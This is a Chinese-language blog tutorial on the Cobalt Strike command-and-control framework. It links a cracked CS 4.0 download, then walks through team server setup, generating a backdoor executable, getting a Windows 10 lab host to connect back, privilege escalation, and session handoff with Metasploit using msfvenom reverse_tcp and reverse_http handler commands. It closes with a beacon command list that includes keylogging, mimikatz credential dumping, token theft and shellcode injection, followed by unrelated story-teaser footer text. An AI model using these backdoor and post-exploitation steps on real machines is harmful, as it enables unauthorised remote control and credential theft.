Cobalt Strike使用指南

Cobalt Strike使用指南

总体流程分为以下几步
创建团队服务器->客户端连接服务器->创建监听器->生成后门对应监听器->靶机运行后门成功上线->后渗透(提权,内网漫游,域渗透等)

1 创建团队服务器

下载CS4.0破解版
https://pan.baidu.com/s/1Ah-H0Eelvm8PmVZ0_Jvz6w 提取码:up2s

image.png

放入kali(MSF主机kali ip地址为162.168.1.17 ) 解压后放在桌面上
image.png

在文件内启动teamserver 加上自己的ip与连接密码
image.png

服务端就运行完成了,不用关闭。

2 客户端连接服务器

打开windows,运行start .bat


image.png

出现如图窗口,HOST写刚才kali的ip地址,密码写刚才自己设置的,Port不动,User可以自己写。


image.png

点击连接后会进入一个图像化的界面
image.png

3创建监听器

点击listen


image.png

4生成后门对应监听器

点击Add 会出现一个新的窗口


image.png

image.png

然后找到工具栏里的Attacks


image.png

这里演示一个Windows Exeutable
image.png

将脚本文件放在桌面上
image.png

这里开启一个win10的靶机(靶机ip为192.168.1.25) 关闭防火墙,然后将脚本文件放入靶机


image.png

5靶机运行后门成功上线

双击启动脚本文件,可以发现,CS窗口成功出现靶机


image.png

image.png

之后右键目标,选择interact,进入命令行模式(CS的命令行,并非是靶机cmd命令行)


image.png

image.png

尝试功能getuid
image.png

可以发现成功获取到了uid

6后渗透

尝试提权
选择access中的elevate选项


image.png

image.png

之后按确定,便会尝试开始攻击


image.png

我们可以下载更多的脚本来尝试提权
image.png

这是下载完成的一个提权插件
image.png

点击任务栏中的script manager


image.png

选择插件脚本文件
之后点击unload上传
image.png

上传完成后重新打开提权选项
image.png

就出现了更多的提权脚本。

CS和MSF联合

1 CS转MSF

首先在kali上启动MSF


image.png

MSF要运用到windows/meterpreter/reverse_http这个模块

use exploit/multi/handler 
set payload windows/meterpreter/reverse_http
set lhost 192.168.1.17 (是kali本地的ip)
set lport 1234(本地监听的端口)
image.png

设置完之后执行exploit


image.png

开始监听本地1234端口
然后回到CS框架,点击监听器,选择添加


image.png

添加完成后,右键靶机选择spawn
image.png

选择刚才新创建的MSF监听器
image.png

观察MSF是否检测到


image.png

成功监听到了靶机,运行sysinfo和shell观察结果
image.png

image.png

成功执行。

2 MSF转CS

首先利用msf生成一个后门去控制win10

sfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.17 lport=2222 -f exe -o test2.exe

(注意这里后门脚本用走的是tcp,之后可以转http)
监听自己的2222端口,然后把生成的exe放入win10靶机


image.png

image.png

然后开启msf,监听自己的2222端口


image.png

之后在win10靶机上运行后门脚本文件
image.png

MSF成功监听到了靶机,这里记一下这个会话session的id是1。
之后在CS窗口重新创建一个监听器。
image.png

MSF窗口这边先background返回,然后设置windows/meterpreter/reverse_http模块的参数

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
image.png

之后exploit执行,观察CS窗口


image.png

我们可以发现msf2监听器成功监听到了靶机。
MSF监听的会话成功转到了CS上。

PS:常用指令

browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,294评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,780评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,001评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,593评论 1 289
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,687评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,679评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,667评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,426评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,872评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,180评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,346评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,019评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,658评论 3 323
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,268评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,495评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,275评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,207评论 2 352